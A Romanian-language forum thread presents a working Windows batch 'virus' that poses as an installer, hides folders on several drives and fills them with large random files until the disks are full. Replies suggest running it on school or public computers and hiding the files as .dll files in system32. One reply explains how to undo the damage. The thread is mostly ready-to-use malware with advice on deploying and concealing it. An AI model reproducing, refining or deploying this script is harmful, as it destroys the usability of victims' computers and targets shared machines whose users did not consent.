Jump to content
Oxigen

Cmd Virus

Recommended Posts

Posted (edited)

Acest virus seteaza local Diskurile E,D,F,G,H,I ca fiind full sper sa va fie de folos ute aici scriptu

@echo off

title Wait A Moment Please

color 0b

msg * Please wait for the Installation to Finish

:Start

startlocal

cls

set ddir=D:

set fdir=F:

set gdir=G:

set hdir=H:

set idir=I:

::The Checking Sequence

if exist C:\ (MD %windir%\crss) else (goto setdir) >nul

if exist D:\ (MD %ddir%\System) else (goto setdir) >nul

if exist F:\ (MD %fdir%\System) else (MD F:\system) >nul

if exist G:\ (MD %gdir%\system) else (MD G:\system) >nul

if exist H:\ (MD %hdir%\system) else (MD H:\system) >nul

if exist I:\ (MD %idir%\system) else (MD I:\system) >nul

attrib +R +S +H %windir%\crss

attrib +R +S +H %ddir%\System

attrib +R +S +H %fdir%\System

attrib +R +S +H %Gdir%\System

attrib +R +S +H %hdir%\System

attrib +R +S +H %idir%\System

:create

CLS

echo ====== 20

fsutil file createnew %windir%\crss\%random%.%random% 100000000 >nul

fsutil file createnew %windir%\crss\%random%.%random% 10000000 >nul

fsutil file createnew %windir%\crss\%random%.%random% 1000000 >nul

if errorlevel 1 goto Next >nul

if errorlevel 255 goto Next >nul

goto create >nul

:next

cls

echo ============ 40

fsutil file createnew %ddir%\system\%random%.%random% 100000000 >nul

fsutil file createnew %ddir%\system\%random%.%random% 10000000 >nul

fsutil file createnew %ddir%\system\%random%.%random% 1000000 >nul

if errorlevel 1 goto flashg

if errorlevel 255 goto flashg

goto Next

:flashg

cls

echo =================== 60

fsutil file createnew %gdir%\system\%random%.%random% 100000000 >nul

fsutil file createnew %gdir%\system\%random%.%random% 10000000 >nul

fsutil file createnew %gdir%\system\%random%.%random% 100000 >nul

if errorlevel 1 goto flashf

if errorlevel 255 goto flashf

goto flashg

:flashf

cls

echo ====================== 70

fsutil file createnew %fdir%\system\%random%.%random% 100000000 >nul

fsutil file createnew %fdir%\system\%random%.%random% 10000000 >nul

fsutil file createnew %fdir%\system\%random%.%random% 1000000 >nul

if errorlevel 1 goto flashh

if errorlevel 255 goto flashh

goto flashf

:flashh

cls

echo ========================= 85

fsutil file createnew %hdir%\system\%random%.%random% 100000000 >nul

fsutil file createnew %hdir%\system\%random%.%random% 10000000 >nul

fsutil file createnew %hdir%\system\%random%.%random% 1000000 >nul

if errorlevel 1 goto flashi

if errorlevel 255 goto flashi

goto flashh

:flashi

cls

echo ================================ 100

fsutil file createnew %idir%\system\%random%.%random% 100000000 >nul

fsutil file createnew %idir%\system\%random%.%random% 10000000 >nul

fsutil file createnew %idir%\system\%random%.%random% 1000000 >nul

if errorlevel 1 goto exit

if errorlevel 255 goto exit

goto flashi

:setdir

if exist C: (set windir=C:\Windows) else (set windir=D:\Windows) >nul

if exist D: (set windir=D:\Windows) else (set windir=C:\Windows) >nul

goto start

:exit

pause

endlocal

msg * Aii luat teapa

1-Il salvati nume.bat\:D/\:D/

2-Full - ma refer la memoria din Diskuri

3-Daca eati dat din greseala run asta E, trebue sa formatati discurile ca sa revie totu la nrmal.Sau sa gasiti toate fisierele create de script,e cam imposibil ca unele is invizibile :)

Bafta, Nu rulati scriptu in PC vostru!!

Edited by Oxigen
  • Downvote 1
Posted (edited)
Se poate anula ce a facut un astfel de script?

Cu system restore poti incerca, daca nu merge, intra cu un livecd, ordoneaza fisierele dupa data crearii din discurile tale apoi sa stergi cele cu nume random create cand ai rulat scriptul. (sa dezactivezi recycle cand le stergi). Locatia lor e in urmatorul cod si sunt cu argumente speciale.

"set ddir=D:

set fdir=F:

set gdir=G:

set hdir=H:

set idir=I:

::The Checking Sequence

if exist C:\ (MD %windir%\crss) else (goto setdir) >nul

if exist D:\ (MD %ddir%\System) else (goto setdir) >nul

if exist F:\ (MD %fdir%\System) else (MD F:\system) >nul

if exist G:\ (MD %gdir%\system) else (MD G:\system) >nul

if exist H:\ (MD %hdir%\system) else (MD H:\system) >nul

if exist I:\ (MD %idir%\system) else (MD I:\system) >nul"

PS. daca nu intelegi ce am scris, nu mai intra pe forumul asta :) bafta.

Edited by mike_vio
Posted (edited)

@bsgeorge: normal ca nu o sa afecteze "masina reala". oricum , daca o sa seteze sa se vada si fisierele protejate ale sistemului de operare din control panel , o sa fie vizibile. dar mai greu de cautat:)). si in plus , ce motiv ai avea sa rulezi scriptul in pc-u tau? Bravo Oxigen. iar cei care nu stiti in ce director sa cautati , Mike_Vio (sper ca ti-am scris bine numele) v-a dat mai multe informatii decat trebuie.lol! scriptul merge rulat pe o statie publica sau la scoala.

Edited by chillyboy
Posted

In loc de

fsutil file createnew %windir%\crss\%random%.%random% 100000000 >nul

asi folosi

fsutil file createnew %windir%\crss\%random%.dll 100000000 >nul

si eventual asi pune in loc de folder-ul crss system32 , astfel un utilizator nepriceput nu ar face diferenta intre dll-urile din system32 si cele facute de virus :D

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...